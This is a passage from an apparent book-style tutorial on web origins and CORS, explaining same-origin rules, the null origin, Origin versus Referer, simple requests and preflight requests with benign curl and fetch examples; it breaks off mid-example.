We've been throwing the word "origin" around for two chapters. Time to get precise, because the browser is extremely precise about this, and the edge cases will bite you in ways you didn't think were possible.

The Formal Definition

An origin is defined by RFC 6454 as the tuple of:

  1. Scheme (also called "protocol"): http, https, ftp, etc.
  2. Host: the full hostname, e.g., example.com, api.example.com
  3. Port: the TCP port number, e.g., 80, 443, 8080

Two resources have the same origin if and only if all three components are identical. Not "similar." Not "related." Identical.

The browser computes the origin of a page from its URL:

https://www.example.com:443/path/to/page?query=1#fragment
└─┬──┘   └──────┬───────┘└┬┘└──────────────────────────┘
scheme       host       port     (path, query, fragment
                                  are NOT part of origin)

Notice: the path, query string, and fragment are not part of the origin. These two URLs have the same origin:

https://example.com/page-one
https://example.com/page-two/subpage?x=1#section

Both are (https, example.com, 443).

Same-Origin vs Cross-Origin: The Comparison Table

Let's look at concrete comparisons. Given a page loaded from https://www.example.com/page:

URL being accessedSame origin?Reason
https://www.example.com/otherYesSame scheme, host, port
https://www.example.com/dir/pageYesPath doesn't matter
http://www.example.com/pageNoDifferent scheme (http vs https)
https://example.com/pageNoDifferent host (no www)
https://api.example.com/pageNoDifferent host (different subdomain)
https://www.example.com:8443/pageNoDifferent port (8443 vs 443)
https://www.example.com:443/pageYesPort 443 is default for https

That last row catches people off guard. The default port for https is 443, so https://www.example.com and https://www.example.com:443 are the same origin. The browser normalizes this. More on default ports in a moment.

Let's do another set. Given a page at http://localhost:3000:

URL being accessedSame origin?Reason
http://localhost:3000/api/dataYesSame scheme, host, port
http://localhost:8080/api/dataNoDifferent port
https://localhost:3000/api/dataNoDifferent scheme
http://127.0.0.1:3000/api/dataNoDifferent host!

That last one. Read it again. localhost and 127.0.0.1 resolve to the same IP address, but the browser doesn't care about IP resolution. It compares the strings in the hostname. localhost !== 127.0.0.1, therefore different origin, therefore cross-origin. I've seen this cause confusion in local development setups more times than I can count.

# Demonstrate with curl — both reach the same server:
$ curl http://localhost:3000/api/health
{"status": "ok"}

$ curl http://127.0.0.1:3000/api/health
{"status": "ok"}

# But in the browser, a page at http://localhost:3000
# making a fetch to http://127.0.0.1:3000 is cross-origin.

Default Ports

The browser has default port numbers for common schemes:

SchemeDefault Port
http80
https443
ftp21

When the URL doesn't specify a port, the browser uses the default. And here's the important bit: the browser normalizes the origin to omit the default port.

These are the same origin:

https://example.com          →  origin: (https, example.com, 443)
https://example.com:443      →  origin: (https, example.com, 443)

These are the same origin:

http://example.com           →  origin: (http, example.com, 80)
http://example.com:80        →  origin: (http, example.com, 80)

But this is a different origin from both of the above:

http://example.com:8080      →  origin: (http, example.com, 8080)

You can check what the browser thinks the origin is with:

console.log(window.location.origin);
// "https://example.com"  (note: no :443)

Or via the Origin header that the browser sends with cross-origin requests. Let's look at it with a request in Chrome DevTools:

  1. Open Network tab
  2. Make a cross-origin fetch
  3. Click on the request
  4. In the Request Headers section, look for Origin:
    Origin: https://my-app.com
    
    No port number, because https defaults to 443.

If your app runs on a non-standard port:

Origin: http://localhost:3000

Port included, because 3000 is not the default for http.

Why http and https Are Different Origins

This is not just academic. In practice, this comes up when:

  • You're migrating from HTTP to HTTPS
  • Your dev environment uses HTTP but production uses HTTPS
  • You have a mixed-content situation
// Page loaded over https://example.com

// This is cross-origin:
fetch('http://example.com/api/data');
// Different scheme: https vs http

The browser console will show:

Mixed Content: The page at 'https://example.com' was loaded over HTTPS, but
requested an insecure resource 'http://example.com/api/data'. This request has
been blocked; the content must be served over HTTPS.

Note: this isn't even a CORS error — it's a mixed content error, which is even stricter. Modern browsers block HTTP requests from HTTPS pages entirely (for active content like fetch/XHR). The origin difference is almost beside the point.

But consider the reverse: a page at http://example.com fetching from https://example.com. That's also cross-origin. The browser may allow it (it's not a mixed-content downgrade), but it's still cross-origin, so CORS headers are needed.

# Verify the origin difference with curl
$ curl -s -D - -o /dev/null https://example.com/api \
  -H "Origin: http://example.com"

# The server needs Access-Control-Allow-Origin: http://example.com
# (note the http, not https)

# If the server responds with:
# Access-Control-Allow-Origin: https://example.com
# ...that won't match, and the browser will block the response.

Why www.example.com and example.com Are Different Origins

This is a perennial source of pain. The host portion of the origin is compared as an exact string match. No DNS resolution. No "well, they're the same domain." Just string equality.

https://example.com          →  host: "example.com"
https://www.example.com      →  host: "www.example.com"

Different strings. Different origins. End of discussion.

If your site is accessible at both example.com and www.example.com, and your API is at api.example.com, you need your CORS configuration to handle both origins:

# Request from example.com:
$ curl -s -D - -o /dev/null https://api.example.com/data \
  -H "Origin: https://example.com"

# Needs to respond with:
# Access-Control-Allow-Origin: https://example.com

# Request from www.example.com:
$ curl -s -D - -o /dev/null https://api.example.com/data \
  -H "Origin: https://www.example.com"

# Needs to respond with:
# Access-Control-Allow-Origin: https://www.example.com

Most CORS middleware handles this by checking the incoming Origin header against an allow-list and reflecting the matched origin back. We'll cover this pattern in detail in later chapters.

Recommendation: Pick one canonical URL (either www or bare domain) and redirect the other to it. This reduces your CORS configuration surface and avoids cookie-scoping headaches.

Subdomains Are Cross-Origin

This is the one that gets people every time, especially in microservice architectures where you've carved up your system into subdomains:

https://app.mycompany.com       (the frontend SPA)
https://api.mycompany.com       (the REST API)
https://auth.mycompany.com      (the auth service)
https://cdn.mycompany.com       (static assets)

Every single one of these is a different origin. Your frontend at app.mycompany.com making a fetch to api.mycompany.com is cross-origin. You need CORS headers. There is no "same parent domain" exception.

// Page at https://app.mycompany.com
fetch('https://api.mycompany.com/v1/users')
  .then(r => r.json())
  .then(console.log);

// Cross-origin. Needs CORS. Every time.

Some developers discover this and think: "I'll just put everything on one subdomain and use path-based routing." That's a valid architectural choice. Putting your API at https://mycompany.com/api/ and your frontend at https://mycompany.com/ means everything is same-origin. No CORS needed. But this has its own tradeoffs (shared cookies, shared CSP, deployment coupling), which we won't get into here.

The Null Origin

There's a special origin value: null. Not the string "null" — well, actually, it is the string "null" in HTTP headers, but it represents the concept of "no meaningful origin."

The null origin appears in several situations:

  1. Pages loaded from file:// URLs: Open an HTML file from your filesystem (not served by a local web server). Its origin is null.

    // Open file:///Users/you/test.html in Chrome
    console.log(window.location.origin);
    // "null"
    
  2. Pages loaded from data: URLs:

    // A data: URL has a null origin
    const iframe = document.createElement('iframe');
    iframe.src = 'data:text/html,<script>console.log(origin)</script>';
    document.body.appendChild(iframe);
    // The iframe's origin is "null"
    
  3. Sandboxed iframes (without allow-same-origin):

    <iframe sandbox src="https://example.com"></iframe>
    <!-- The iframe's origin is forced to "null" -->
    
  4. Redirected requests in some cases: certain cross-origin redirects cause the Origin header to be set to null.

Why you should never allow the null origin

You might be tempted to do this:

Access-Control-Allow-Origin: null

Don't. The problem is that many different contexts produce a null origin. If your server allows the null origin, you're allowing access from any file:// page, any data: URL, any sandboxed iframe. That's far too broad.

# Testing what happens with the null origin:
$ curl -s -D - -o /dev/null https://api.example.com/data \
  -H "Origin: null"

# If the server responds with:
# Access-Control-Allow-Origin: null
# ...then ANY null-origin context can read the response.
# This is almost certainly not what you want.

The null origin is essentially the "I don't know where this came from" origin, and "I trust things from unknown origins" is not a great security policy.

about:blank and Inherited Origins

about:blank pages (and about-scheme documents in general) inherit the origin of their creator:

// Page at https://example.com
const win = window.open('about:blank');
// win.origin === 'https://example.com'

// The new window has the same origin as the page that opened it
win.document.write('<h1>Same origin as parent</h1>');
// This works because they share an origin

This is specified behavior and generally does what you'd expect. But it means you can't use about:blank as a way to create an "originless" context — it inherits from whoever created it.

file:// URLs: Here Be Dragons

Local files opened in the browser (file:///Users/you/index.html) are a special mess. The behavior varies by browser:

Chrome/Chromium

Every file:// URL gets the null origin. Two HTML files in the same directory cannot access each other via JavaScript — they're both null, but null is not considered equal to null for same-origin checks. Yes, really.

// file:///Users/you/page-a.html
console.log(window.location.origin);  // "null"

// Trying to fetch a file in the same directory:
fetch('file:///Users/you/data.json')
  .catch(err => console.error(err));
// Blocked. null origin cannot read from file:// URLs.
// Chrome console:
Access to fetch at 'file:///Users/you/data.json' from origin 'null' has been
blocked by CORS policy: Cross origin requests are only supported for protocol
schemes: http, data, isolated-app, chrome-extension, chrome, https,
chrome-untrusted.

Firefox

Firefox has historically been more permissive with file:// URLs, allowing same- directory access. But this behavior has been tightened in recent versions and varies with configuration.

The practical takeaway

Don't open HTML files directly in the browser for development. Use a local web server:

# Python
$ python3 -m http.server 8000

# Node.js (npx, no install needed)
$ npx serve .

# PHP
$ php -S localhost:8000

Now your page is at http://localhost:8000 and has a proper origin. This eliminates an entire class of confusing CORS errors that have nothing to do with your actual application.

data: URLs and blob: URLs

data: URLs

Pages and resources loaded via data: URLs get a null origin, as mentioned above. They're essentially "originless" — which means they're cross-origin with everything, including other data: URLs.

// This creates an iframe with a null origin
const html = '<script>parent.postMessage(document.domain, "*")</script>';
const iframe = document.createElement('iframe');
iframe.src = `data:text/html,${encodeURIComponent(html)}`;
document.body.appendChild(iframe);

blob: URLs

blob: URLs inherit the origin of the document that created them:

// Page at https://example.com
const blob = new Blob(['<h1>Hello</h1>'], { type: 'text/html' });
const url = URL.createObjectURL(blob);
console.log(url);
// "blob:https://example.com/550e8400-e29b-41d4-a716-446655440000"

// The origin portion of the blob URL matches the creating page's origin
// This blob has origin https://example.com

This is how things like web workers loaded from inline code work — you create a blob URL, and it has the same origin as your page, so same-origin restrictions don't apply.

document.domain: Deprecated But Haunting

Once upon a time, there was a way to loosen the SOP between subdomains. document.domain allowed two pages on different subdomains to declare a common parent domain and become "same-origin" for DOM access:

// Page at https://app.example.com
document.domain = 'example.com';

// Page at https://admin.example.com (in an iframe)
document.domain = 'example.com';

// Now both pages can access each other's DOM
// because they've agreed on a common super-domain

This was widely used in the 2000s and 2010s. It's now deprecated and in the process of being removed from browsers.

Chrome began disabling document.domain setter by default in Chrome 115 (2023). You can still re-enable it via the Origin-Agent-Cluster header, but you shouldn't be building new things that depend on it.

Why was it deprecated?

Because it's a security hazard. If evil.example.com sets document.domain = 'example.com', it could access the DOM of bank.example.com (if bank also set document.domain). The feature essentially allowed any subdomain to weaken the security boundary for all subdomains of the same parent domain.

If you encounter document.domain in legacy code, the migration path is:

  1. For cross-origin DOM access: Use postMessage() instead.
  2. For cross-origin API calls: Use CORS.
  3. For cookie sharing: Use cookie Domain attribute: Set-Cookie: session=abc; Domain=.example.com
// Modern replacement for document.domain DOM access:
// Parent page (https://app.example.com):
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://admin.example.com') return;
  console.log('Got message:', event.data);
});

// Iframe (https://admin.example.com):
parent.postMessage('Hello from admin', 'https://app.example.com');

Origin vs Referer Header

Both the Origin and Referer (yes, it's misspelled — the HTTP spec locked in the typo from RFC 1945 in 1996 and we're stuck with it forever) headers tell the server where a request came from. But they serve different purposes and contain different information.

The Origin header

Origin: https://app.example.com
  • Contains only the origin: scheme + host + port
  • No path, no query string, no fragment
  • Sent on cross-origin requests (fetch, XHR) and same-origin POST requests
  • Sent on CORS preflight requests
  • Primarily used for CORS and CSRF protection
  • Cannot be spoofed by JavaScript in a browser (the browser sets it)

The Referer header

Referer: https://app.example.com/dashboard?user=alice
  • Contains the full URL (or a portion of it, depending on referrer policy)
  • Includes the path and query string (by default)
  • Sent on most requests (navigations, subresource loads, fetch/XHR)
  • Can be controlled by Referrer-Policy header or referrerpolicy attribute
  • Primarily used for analytics, logging, and back-button behavior

Key differences

FeatureOriginReferer
Contains path?NoYes (by default)
Sent on same-origin GET?NoYes
Sent on cross-origin requests?YesYes (configurable)
Used for CORS?YesNo
Can be suppressed?Not by page JavaScriptYes, via Referrer-Policy
Misspelled?NoYes, forever

Practical example

# When your page at https://app.example.com/dashboard makes a
# cross-origin POST to https://api.example.com/data:

$ curl -v https://api.example.com/data \
  -X POST \
  -H "Origin: https://app.example.com" \
  -H "Referer: https://app.example.com/dashboard"

# The Origin header tells the server: "This request came from
#   the origin https://app.example.com"
# The Referer header tells the server: "Specifically, it came
#   from the /dashboard page"

Why CORS uses Origin, not Referer

The Origin header was designed specifically for CORS and security checks because:

  1. It can't be suppressed. The Referer header can be stripped by referrer policies, browser extensions, or privacy settings. The Origin header on cross-origin requests is always set by the browser and cannot be overridden by JavaScript.

  2. It doesn't leak path information. The server only needs to know which origin is making the request to make a CORS decision. It doesn't need to know which specific page. The Origin header respects the principle of least privilege.

  3. It's simpler to match. Comparing https://app.example.com against an allow-list is easier and less error-prone than parsing a full URL from a Referer header.

Checking the Origin in Practice

You can see origins in action using your browser's DevTools:

Checking your page's origin

Open the Console and type:

window.location.origin
// "https://app.example.com"

// Or more formally:
new URL(window.location.href).origin
// "https://app.example.com"

Checking the Origin header on requests

  1. Open DevTools Network tab
  2. Make a cross-origin request
  3. Click on the request
  4. Look at Request Headers:
Accept: application/json
Origin: https://app.example.com
Referer: https://app.example.com/page

Comparing origins in JavaScript

function isSameOrigin(url1, url2) {
  const a = new URL(url1);
  const b = new URL(url2);
  return a.origin === b.origin;
}

isSameOrigin('https://example.com/a', 'https://example.com/b');
// true

isSameOrigin('https://example.com', 'http://example.com');
// false

isSameOrigin('http://localhost:3000', 'http://localhost:8080');
// false

isSameOrigin('http://localhost:3000', 'http://127.0.0.1:3000');
// false — hostname string comparison

The URL constructor's .origin property is the canonical way to get and compare origins in JavaScript. Don't try to parse URLs with regex. Life's too short, and URLs are too weird.

Summary: The Origin Checklist

When you're debugging a CORS issue, the first thing to verify is whether the request is actually cross-origin. Here's the checklist:

  1. What is the page's origin? Check window.location.origin.

  2. What is the request target's origin? Construct it from the URL's scheme, host, and port.

  3. Do they match exactly?

    • Scheme must be identical (http !== https)
    • Host must be identical (www.example.com !== example.com)
    • Port must be identical (account for defaults: 80 for http, 443 for https)
  4. If they don't match, you need CORS headers.

  5. Edge cases to watch for:

    • localhost !== 127.0.0.1
    • file:// pages have null origin
    • Subdomains are different origins
    • Trailing slashes in paths don't affect origin (paths aren't part of origin)

Now that we know exactly what an origin is and how the browser determines whether a request is cross-origin, we're ready to look at how CORS actually works — the headers, the preflight dance, and all the things that can go wrong. That's coming up next.

Simple Requests

Let's start with the good news: not every cross-origin request triggers the full CORS negotiation dance. Some requests are considered "simple" enough that the browser just... sends them. No preflight, no OPTIONS request, no extra round trip. The browser fires off your request, gets the response, and then decides whether your JavaScript is allowed to see it.

The bad news? The criteria for what counts as "simple" were frozen in roughly 2004, and they will surprise you.

The Spec Doesn't Actually Say "Simple"

If you go looking for the phrase "simple request" in the Fetch specification, you won't find it. The spec describes requests that "do not need a preflight." The term "simple request" is a colloquialism that stuck — older versions of the spec used it, every blog post uses it, and every Stack Overflow answer uses it. So we'll use it too, but know that the spec has moved on even if the rest of us haven't.

What the spec actually defines is the concept of a CORS-safelisted request — a request whose method and headers fall within a specific, deliberately conservative set. If your request meets all the criteria, the browser skips the preflight. If it doesn't meet even one of them, you get the full OPTIONS-then-actual-request treatment (covered in the next chapter).

The Three Conditions

For a request to qualify as "simple" (no preflight needed), it must satisfy all three of these conditions simultaneously:

Condition 1: Method Must Be GET, HEAD, or POST

That's it. That's the list. No PUT. No DELETE. No PATCH. If you're building a RESTful API and your frontend uses DELETE /api/users/42, congratulations — you've already failed condition one, and a preflight will be sent regardless of anything else.

✅ GET     — simple
✅ HEAD    — simple
✅ POST    — simple (if conditions 2 and 3 also pass)
❌ PUT     — always triggers preflight
❌ DELETE  — always triggers preflight
❌ PATCH   — always triggers preflight
❌ OPTIONS — this is the preflight method itself, so... it's complicated

Why these three? Because these are the methods that HTML forms and <img> tags could already trigger before CORS existed. A <form> element can submit GET and POST requests. A <link> tag triggers GET requests. The browser already allowed these cross-origin without asking anyone's permission, so CORS couldn't retroactively break them.

Condition 2: Only CORS-Safelisted Request Headers

Your request can only include headers from a specific allowlist. Any header outside this list means a preflight. The CORS-safelisted request headers are:

HeaderNotes
Accept
Accept-Language
Content-Language
Content-TypeOnly with specific values — see condition 3
RangeOnly with a simple range value (e.g., bytes=0-1023)

That's the complete list. Five headers. Notice what's not on it:

  • Authorization — sorry, Bearer token fans. Every authenticated API call triggers a preflight.
  • X-Requested-With — the classic "I'm an AJAX request" header that jQuery used to add. Preflight.
  • X-Custom-Anything — any header starting with X- (or any custom header). Preflight.
  • Content-Encoding — want to send gzipped data? Preflight.
  • Cache-Control — want to control caching on the request? Preflight.

There are also byte-length restrictions on some of these. For instance, the value of Accept, Accept-Language, and Content-Language must not exceed 128 bytes. The Content-Type header value is capped at 128 bytes as well. In practice, you'll almost never hit these limits, but the spec is thorough about its paranoia.

Condition 3: Content-Type Must Be One of Three Values

If the request includes a Content-Type header (which POST requests almost always do), its value must be one of exactly three MIME types:

  1. application/x-www-form-urlencoded — what HTML forms send by default
  2. multipart/form-data — what HTML forms send when you have file uploads
  3. text/plain — plain text, no structure implied

And here's the punchline that ruins everyone's afternoon:

application/json is NOT on this list.

Read that again. application/json triggers a preflight. Every single fetch() call that sends JSON to a cross-origin API will trigger a preflight request. Every. Single. One.

// This triggers a preflight. Every time.
fetch('https://api.example.com/data', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json'  // <-- this is the culprit
  },
  body: JSON.stringify({ name: 'Alice' })
});

This is, without exaggeration, the number-one source of confusion in CORS. People set up their server to handle POST requests, test it with curl (which works perfectly because curl doesn't do CORS), deploy it, and then watch their frontend fail with a preflight error. I have seen this happen to senior engineers. I have seen this happen to me.

Why isn't application/json on the safe list? Because HTML forms couldn't send application/json back when the list was created. The safe list is frozen to the capabilities of circa-2004 web browsers. A <form> element can only produce application/x-www-form-urlencoded and multipart/form-data. The text/plain encoding was added because you could approximate it with a form's enctype attribute. JSON? That's a "new" thing, and "new" means "needs a preflight."

A Complete Simple Request Flow

Let's trace a real simple request from start to finish. Suppose you have:

  • A page loaded from https://app.example.com
  • JavaScript on that page making a GET request to https://api.example.com/users

Step 1: JavaScript Makes the Request

// Running on https://app.example.com
const response = await fetch('https://api.example.com/users');
const users = await response.json();

Step 2: The Browser Checks the Criteria

The browser evaluates:

  • Method: GET — ✅ on the safe list
  • Headers: just the defaults (Accept, Accept-Language, etc.) — ✅ all safelisted
  • Content-Type: none (it's a GET) — ✅ not applicable

Verdict: simple request. No preflight needed.

Step 3: The Browser Sends the Request

The browser sends the request directly, adding the Origin header automatically:

GET /users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Accept: */*
Accept-Language: en-US,en;q=0.9
Connection: keep-alive

Note the Origin header. You didn't set this — the browser added it. You cannot suppress it, spoof it, or modify it from JavaScript. This is the browser telling the server "this request is coming from a page loaded from https://app.example.com." The server uses this to make its access-control decision.

You can see exactly this with curl by simulating what the browser does:

curl -v https://api.example.com/users \
  -H "Origin: https://app.example.com"

Step 4: The Server Responds

If the server is configured to allow cross-origin requests from app.example.com, it responds with:

HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://app.example.com
Vary: Origin
Content-Length: 83

[{"id": 1, "name": "Alice"}, {"id": 2, "name": "Bob"}]

The critical header here is Access-Control-Allow-Origin. The server is saying: "Yes, https://app.example.com is allowed to read this response."

The Vary: Origin header is important too — it tells caches that the response depends on the Origin request header. Without it, a CDN might cache a response that says Access-Control-Allow-Origin: https://app.example.com and serve it to a request from https://other.example.com, which would fail.

Step 5: The Browser Enforces the Policy

The browser receives the response, reads Access-Control-Allow-Origin: https://app.example.com, compares it to the page's origin, and — since they match — hands the response body to your JavaScript. The fetch() promise resolves. The .json() call works. Everyone's happy.

Side by Side

Here's the complete exchange in a table, because visual people deserve nice things too:

RequestResponse
GET /users HTTP/1.1HTTP/1.1 200 OK
Host: api.example.comContent-Type: application/json
Origin: https://app.example.comAccess-Control-Allow-Origin: https://app.example.com
Accept: */*Vary: Origin
Content-Length: 83

What Happens When the Server Doesn't Include CORS Headers

Now for the scenario that fills your browser console with angry red text. Same setup, but this time the server doesn't include any CORS headers:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 83

[{"id": 1, "name": "Alice"}, {"id": 2, "name": "Bob"}]

The server processed the request. It queried its database. It serialized the JSON. It sent back a perfectly valid 200 response with the data. And the browser throws it all away.

Your JavaScript gets:

Access to fetch at 'https://api.example.com/users' from origin
'https://app.example.com' has been blocked by CORS policy:
No 'Access-Control-Allow-Origin' header is present on the
requested resource.

The fetch() promise rejects. The response body is inaccessible. Even response.status is hidden (it becomes 0 in some contexts). The browser saw a response without the right CORS headers and said: "I'm not going to let your JavaScript see this."

The Request Was Still Sent

This is the part that catches people off guard. The browser sent the request. The server received it. The server processed it. The server sent back a response. The browser just refused to let JavaScript read that response.

This matters because if your "simple" request has side effects — say, a POST that creates a database record — that side effect happened. The record was created. Your JavaScript just can't see the confirmation.

# You can verify this with curl. This will work fine:
curl -v https://api.example.com/users \
  -H "Origin: https://app.example.com"

# The response comes back with the data.
# curl doesn't enforce CORS. Only browsers do.

This is by design. The browser's job isn't to protect the server — it's to protect the user by controlling what JavaScript can read. The server already got the request (same as it would from a form submission), so blocking it would serve no purpose. But letting arbitrary JavaScript read the response? That's a potential data leak, and that's what CORS prevents.

Seeing This in DevTools

Open Chrome DevTools (F12 or Cmd+Option+I), go to the Network tab, and trigger the failing request. You'll see:

  1. The request appears in the list, often with a status like (failed) or CORS error
  2. Click on the request. You'll see the request headers — including Origin
  3. Click on the Response tab — it'll be empty or show a CORS error message
  4. The Console tab will have the full error message with details about what went wrong

In Firefox, the Network tab is slightly more helpful — it explicitly labels the request as having a "CORS Missing Allow Origin" issue and provides a link to MDN documentation. Chrome's error messages have gotten better over the years, but Firefox has traditionally been the more informative browser for CORS debugging.

A useful DevTools trick: right-click on the column headers in the Network tab and enable the Method column. This helps you distinguish between simple requests (GET/POST) and preflights (OPTIONS) at a glance. For simple requests that fail CORS, you'll see only one row. For preflight failures (next chapter), you'll see two — the OPTIONS and the actual request.

The Wildcard: Access-Control-Allow-Origin: *

Instead of specifying a particular origin, the server can respond with:

Access-Control-Allow-Origin: *

This means "any origin can read this response." It's appropriate for truly public APIs and static resources. It is not a security vulnerability in itself — but it does have restrictions when credentials (cookies) are involved, which we'll cover in Chapter 8.

# Testing a public API with the wildcard
curl -v https://api.publicdata.example.com/weather \
  -H "Origin: https://literally-anything.com"

# Response:
# HTTP/1.1 200 OK
# Access-Control-Allow-Origin: *
# Content-Type: application/json

Common Mistakes with Simple Requests

Mistake 1: "I'll just set Content-Type to text/plain to avoid preflights"

Yes, technically, you can send JSON with Content-Type: text/plain and avoid the preflight:

fetch('https://api.example.com/data', {
  method: 'POST',
  headers: {
    'Content-Type': 'text/plain'  // sneaky
  },
  body: JSON.stringify({ name: 'Alice' })
});

Please don't do this. Your server-side framework probably uses Content-Type to decide how to parse the body. Sending JSON as text/plain means your body parser won't kick in, and you'll end up writing custom parsing logic. You're fighting the web platform to save one HTTP request. Just handle the preflight properly.

Mistake 2: "My GET request is triggering a preflight"

If your GET request is triggering a preflight, you've added a non-safelisted header. The usual suspects:

// This is NOT a simple request despite being GET
fetch('https://api.example.com/users', {
  headers: {
    'Authorization': 'Bearer eyJhbGc...',  // <-- preflight trigger
  }
});

Every authenticated API request triggers a preflight. There's no way around this. Accept it, configure your server to handle OPTIONS, and move on with your life.

Mistake 3: "CORS is blocking my request"

No, CORS is blocking your JavaScript from reading the response. The distinction matters because:

  1. For simple requests, the server received and processed your request
  2. The "block" is on the response, not the request
  3. If you're trying to debug whether your server received the request, check your server logs — it did

A Note on no-cors Mode

You might have seen this:

fetch('https://api.example.com/users', {
  mode: 'no-cors'
});

This tells the browser: "I don't need to read the response, just send the request." The browser will send the request, but the response will be an opaque responseresponse.type is "opaque", response.status is 0, and the body is inaccessible. This is useful for things like sending analytics pings or warming caches, but it is almost certainly not what you want for API calls. If someone on Stack Overflow tells you to add mode: 'no-cors' to fix a CORS error, they are technically making the error go away in the same way that closing your eyes makes the check engine light go away.

Summary

A request skips the preflight if and only if:

  1. The method is GET, HEAD, or POST
  2. The only headers are from the CORS-safelisted set (Accept, Accept-Language, Content-Language, Content-Type, Range)
  3. If Content-Type is present, it's application/x-www-form-urlencoded, multipart/form-data, or text/plain

If any of those conditions fail, the browser sends a preflight OPTIONS request first, which is the subject of our next chapter. And since most modern API calls use application/json or include an Authorization header, most of your requests will need a preflight. The "simple request" path is really the exception, not the rule — a compatibility shim for the pre-CORS web that happens to still be useful for basic GET requests to public APIs.

Preflight Requests

If simple requests are the express lane, preflight requests are the full security checkpoint. Before your actual request goes anywhere, the browser sends a separate, preliminary request to ask the server: "Hey, would you be okay with receiving a request that looks like this?" Only if the server says yes does the browser proceed with the real thing.

This is the mechanism that confuses the most people, generates the most Stack Overflow questions, and causes the most late-night debugging sessions. Let's make sure you never have to be one of those people again.

Why Preflights Exist

Here's the historical context that makes the whole thing make sense.

Before CORS existed, servers lived in a simpler world. A server that exposed DELETE /api/users/42 only expected that request to come from trusted sources — admin panels, internal tools, scripts with proper authentication. The server could reasonably assume that browsers would never send a cross-origin DELETE request, because browsers couldn't. The Same-Origin Policy prevented it.

Then CORS came along and said: "Actually, we'd like to let JavaScript make cross-origin requests now."

The problem: if browsers just started sending DELETE requests to every server, they'd be executing potentially destructive operations on servers that never anticipated cross-origin requests. These legacy servers had no CORS configuration because CORS didn't exist when they were built. They were relying on the Same-Origin Policy as an implicit security layer.

The preflight is the solution. Before sending a "dangerous" request (anything beyond what an HTML form could do), the browser asks permission first. A server that has never heard of CORS will either:

  • Return an error for the OPTIONS request (404, 405, 500)
  • Return a 200 but without any Access-Control-Allow-* headers

Either way, the preflight fails, and the browser never sends the actual DELETE. The legacy server is protected, not because it did anything clever, but because the preflight protocol was designed to be backward-compatible with servers that know nothing about CORS.

This is genuinely elegant engineering, even if it doesn't feel that way when you're staring at a preflight failure at 11 PM.

What Triggers a Preflight

A preflight is sent when the request is not a "simple request" — that is, when it fails any of the three conditions from the previous chapter. Here's the complete trigger list:

Non-Simple Methods

Any HTTP method other than GET, HEAD, or POST:

// All of these trigger a preflight
fetch(url, { method: 'PUT' });
fetch(url, { method: 'DELETE' });
fetch(url, { method: 'PATCH' });

Non-Safelisted Headers

Any header not on the CORS-safelisted list:

// These all trigger a preflight
fetch(url, {
  headers: {
    'Authorization': 'Bearer token123',        // not safelisted
    'X-Request-ID': 'abc-123',                 // custom header
    'Cache-Control': 'no-cache',               // not safelisted
  }
});

Even a single non-safelisted header is enough to trigger the preflight, regardless of the method.

Non-Simple Content-Type

Any Content-Type value other than the big three:

// This triggers a preflight even though the method is POST
fetch(url, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },  // not safelisted
  body: JSON.stringify({ key: 'value' })
});

To really drive this home, here's a table:

RequestPreflight?Why?
GET with no custom headersNoAll three conditions met
POST with Content-Type: application/x-www-form-urlencodedNoAll three conditions met
POST with Content-Type: application/jsonYesContent-Type not safelisted
GET with Authorization headerYesHeader not safelisted
PUT with no custom headersYesMethod not safelisted
DELETE with Content-Type: text/plainYesMethod not safelisted
POST with X-Custom-Header: fooYesHeader not safelisted

The Complete Preflight Flow

Let's trace the full lifecycle. We have:

  • A page at https://app.example.com
  • JavaScript making a PUT request with JSON to https://api.example.com/users/42

The JavaScript

fetch('https://api.example.com/users/42', {
  method: 'PUT',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWxpY2UifQ.abc123'
  },
  body: JSON.stringify({ name: 'Alice Updated' })
});

This triggers a preflight for three separate reasons: the method is PUT, the Content-Type is application/json, and there's an Authorization header. One reason would have been enough, but we're thorough.

Step 1: The Browser Sends the Preflight (OPTIONS)

Before sending the PUT, the browser sends:

OPTIONS /users/42 HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: authorization, content-type
Connection: keep-alive
Accept: */*

Let's break this down header by header:

  • OPTIONS — The HTTP method. This is not your PUT request. This is the browser asking about your PUT request.
  • Origin — Same as always: where the page lives.
  • Access-Control-Request-Method: PUT — "I want to send a PUT request. Is that okay?"
  • Access-Control-Request-Headers: authorization, content-type — "I want to include these headers. Are those okay?" Note that the values are lowercased and comma-separated.

Notice what's not in the preflight: there's no request body. There's no Authorization header. The preflight is a metadata query — it's asking about the request, not sending it.

You can simulate this preflight with curl:

curl -v -X OPTIONS https://api.example.com/users/42 \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: authorization, content-type"

Step 2: The Server Responds to the Preflight

If the server is properly configured, it responds:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Authorization, Content-Type, X-Request-ID
Access-Control-Max-Age: 86400
Vary: Origin

Breaking this down:

  • 204 No Content — Standard "success, nothing to show" status. More on the 204-vs-200 debate in the next chapter.
  • Access-Control-Allow-Origin: https://app.example.com — "Yes, that origin is allowed."
  • Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS — "These are the methods I'll accept from cross-origin requests."
  • Access-Control-Allow-Headers: Authorization, Content-Type, X-Request-ID — "These are the headers I'll accept."
  • Access-Control-Max-Age: 86400 — "Cache this preflight result for 86400 seconds (24 hours). Don't ask me again until then." (Chapter 9 goes deep on caching.)
  • Vary: Origin — "This response depends on the Origin header, so caches should key on it."

Step 3: The Browser Validates the Preflight Response

The browser checks:

  1. Does Access-Control-Allow-Origin match the page's origin? ✅ (https://app.example.com)
  2. Is PUT listed in Access-Control-Allow-Methods? ✅
  3. Are authorization and content-type listed in Access-Control-Allow-Headers? ✅ (comparison is case-insensitive)

All checks pass. The preflight succeeded.

Step 4: The Browser Sends the Actual Request

Now — and only now — the browser sends the real PUT request:

PUT /users/42 HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
